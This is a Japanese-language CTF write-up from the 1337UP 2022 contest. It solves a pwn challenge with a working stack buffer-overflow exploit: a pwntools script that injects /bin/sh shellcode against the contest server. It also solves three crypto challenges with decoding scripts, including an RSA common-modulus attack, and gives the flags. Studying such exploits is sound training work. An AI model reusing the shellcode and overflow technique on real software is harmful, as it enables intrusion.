この大会は2022/3/12 0:00(JST)~2022/3/13 0:00(JST)に開催されました。
今回もチームで参戦。結果は814点で630チーム中157位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Welcome!)
問題にフラグが書いてあった。
1337UP{TimeToStartHacking}
Discord (Welcome!)
Discordに入り、#notificationsチャネルのトピックを見ると、フラグが書いてある。
1337UP{You_f0und_1t}
Easy Register (Pwn)
$ file easy_register easy_register: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ba448db2793d54d5ef48046ff85490b3b875831c, for GNU/Linux 3.2.0, not stripped
Ghidraでデコンパイルする。
undefined8 main(void) { banner(); easy_register(); return 0; } void easy_register(void) { char local_58 [80]; printf("[\x1b[34mi\x1b[0m] Initialized attendee listing at %p.\n",local_58); puts("[\x1b[34mi\x1b[0m] Starting registration application.\n"); printf("Hacker name > "); gets(local_58); puts("\n[\x1b[32m+\x1b[0m] Registration completed. Enjoy!"); puts("[\x1b[32m+\x1b[0m] Exiting."); return; }
バッファ先頭のアドレスがわかるので、そこにシェルコードを流し込み、BOFでそのアドレスに飛ぶようにする。
$ gdb -q ./easy_register Reading symbols from ./easy_register...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/easy_register _ _______________ _ _ ____ / |___ /___ /___ | | | | _ \ | | |_ \ |_ \ / /| | | | |_) | | |___) |__) |/ / | |_| | __/ |_|____/____//_/ \___/|_| [i] Initialized attendee listing at 0x7fffffffdd90. [i] Starting registration application. Hacker name > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [+] Registration completed. Enjoy! [+] Exiting. Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x16 RBX: 0x0 RCX: 0x7ffff7af2104 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7dcf8c0 --> 0x0 RSI: 0x7ffff7dce7e3 --> 0xdcf8c0000000000a RDI: 0x1 RBP: 0x3541416641414a41 ('AJAAfAA5') RSP: 0x7fffffffdde8 ("AAKAAgAA6AAL") RIP: 0x55555555529b (<easy_register+108>: ret) R8 : 0x15 R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0) R10: 0x0 R11: 0x246 R12: 0x5555555550c0 (<_start>: endbr64) R13: 0x7fffffffded0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555555294 <easy_register+101>: call 0x555555555080 <puts@plt> 0x555555555299 <easy_register+106>: nop 0x55555555529a <easy_register+107>: leave => 0x55555555529b <easy_register+108>: ret 0x55555555529c <main>: endbr64 0x5555555552a0 <main+4>: push rbp 0x5555555552a1 <main+5>: mov rbp,rsp 0x5555555552a4 <main+8>: mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdde8 ("AAKAAgAA6AAL") 0008| 0x7fffffffddf0 --> 0x55004c414136 ('6AAL') 0016| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>: mov edi,eax) 0024| 0x7fffffffde00 --> 0x1 0032| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe221 ("/mnt/hgfs/Shared/easy_register") 0040| 0x7fffffffde10 --> 0x100008000 0048| 0x7fffffffde18 --> 0x55555555529c (<main>: endbr64) 0056| 0x7fffffffde20 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000055555555529b in easy_register () gdb-peda$ patto AAKAAgAA6AAL AAKAAgAA6AAL found at offset: 88
from pwn import * if len(sys.argv) == 1: p = remote('easyregister.ctf.intigriti.io', 7777) else: p = process('./easy_register') elf = ELF('./easy_register') shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05' data = p.recvuntil('> ') buf_addr = int(data.split('\n')[-4].split(' ')[-1][:-1], 16) payload = shellcode payload += 'A' * (88 - len(payload)) payload += p64(buf_addr) print data + payload p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to easyregister.ctf.intigriti.io on port 7777: Done [*] '/mnt/hgfs/Shared/easy_register' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments _ _______________ _ _ ____ / |___ /___ /___ | | | | _ \ | | |_ \ |_ \ / /| | | | |_) | | |___) |__) |/ / | |_| | __/ |_|____/____//_/ \___/|_| [i] Initialized attendee listing at 0x7fff824e4590. [i] Starting registration application. Hacker name > H1�RH\xb8/bin//shPH\x89�RWH\x89�H�B;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90EN\x82\xff\x7f\x00 [*] Switching to interactive mode [+] Registration completed. Enjoy! [+] Exiting. $ ls bin dev easy_register etc flag lib lib64 usr $ cat flag 1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}
1337UP{Y0u_ju5t_r3g15t3r3d_f0r_50m3_p01nt5}
Warmup Encoder (Crypto)
暗号処理は以下の通り。
・Ord(flag) ・x0r([flagの各文字のASCIIコードの配列]) ・ff = [] ・配列の各数値について、以下を実行 ・素数の場合、ffにASCIIコード番目の素数と0x1337のXORを追加 ・素数でない場合、ffにASCIIコードと0x1337のXORを追加 ・ffの各値の2進数を表示
ASCIIコードの各値に対する暗号化データを辞書として作成し、それを元に復号する。
#!/usr/bin/env python3 from sympy import isprime, prime ff = [1001100000110, 1001100000100, 1001100000100, 1001100000000, 1001101100010, 1001101100111, 1001101001100, 1001101001111, 1001100000111, 1001101000101, 1001101101000, 1001100000011, 1001101011001, 1001101110011, 1001101101000, 1001101110101, 1001101011110, 1001101011001, 1001100000011, 1001011001010, 1001101100101, 1001101001110, 1001101101000, 1001101110010, 1001101011001, 1001001111100, 1001100000111, 1001101010011, 1001100000100, 1001101000101, 1001101101000, 1001100000011, 1001101000101, 1001100000100, 1001101101000, 1001101000011, 1001101111111, 1001100000100, 1001101101000, 1001101100000, 1001100000100, 1001100000011, 1000101111100, 1001100000100, 1001111000110, 1001101000011, 1001101101000, 1001100001111, 1001100000111, 1001100000000, 1001100001110, 1001100000111, 1001100000000, 1001111000110, 1001100000001, 1001101001010] encs = {} for code in range(32, 127): if isprime(code) == True: v = prime(code) ^ 0x1337 else: v = code ^ 0x1337 encs[v] = code flag = '' for f in ff: v = int(str(f), 2) flag += chr(encs[v]) print(flag)
1337UP{x0r_4nD_Bin4aRy_EnC0d3r_4r3_tH3_W34k35t_80790756}
Binomial Ways (Crypto)
valは固定値なので、その値を算出し、シフトすればよい。ただし、問題が間違っているのか"{"が正しく表示されないので、調整する。
#!/usr/bin/env python3 val = [] def factorial(n): f = 1 for i in range(2, n+1): f *= i return f def series(A, X, n): nFact = factorial(n) for i in range(0, n + 1): niFact = factorial(n - i) iFact = factorial(i) aPow = pow(A, n - i) xPow = pow(X, i) val.append(int((nFact * aPow * xPow) / (niFact * iFact))) A = 1; X = 1; n = 30 series(A, X, n) with open('output.txt', 'rb') as f: data = f.read().splitlines() flag_length = int(data[0]) ct = data[1] # arrangement ct = ct[:6] + b'\x88' + ct[6:] flag = '' for i in range(flag_length): flag += chr(ct[i] - val[i] % 26) print(flag)
1337UP{b4s1c_sh1f7_n0_b1n0m1al}
Equality (Crypto)
n, e, cの組み合わせが2つあり、nは同じ。Common Modulus Attackで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import gmpy2 def commom_world(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x n = 0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875 e1 = 0x3045 e2 = 0xff4d c1 = 0x5d1e39bc751108ec0a1397d79e63c013d238915d13380ae649e84d7d85ebcffbbc35ebb18d2218ccbc5409290dfa8a4847e5923c3420e83b1a9d7aa67190dc0d34711cce261665c64c28ed2834394d4b181926febf7eb685f9ce81f36c7fb72798da3a14a123287171d26e084948aab0fba81c53f10b5696fc291006254ee690 c2 = 0x3d90f2bec4fe02d8ce4cece3ddb6baed99337f7e6856eef255445741b5cfe378390f058679d70236e51be4746db4c207f274c40b092e24f8c155a0957867e84dca48e27980af488d2615a280c6eadec2f1d30b95653b1ee3135e2edff100dd2c529994f846722f811348b082d0bec7cfab579a4bd0ab789928b1bebed68d628f m = commom_world(c1, c2, e1, e2, n) flag = long_to_bytes(m).decode() print(flag)
1337UP{c0mm0n_m0dulu5_4774ck_15_n07_50_c0mm0n}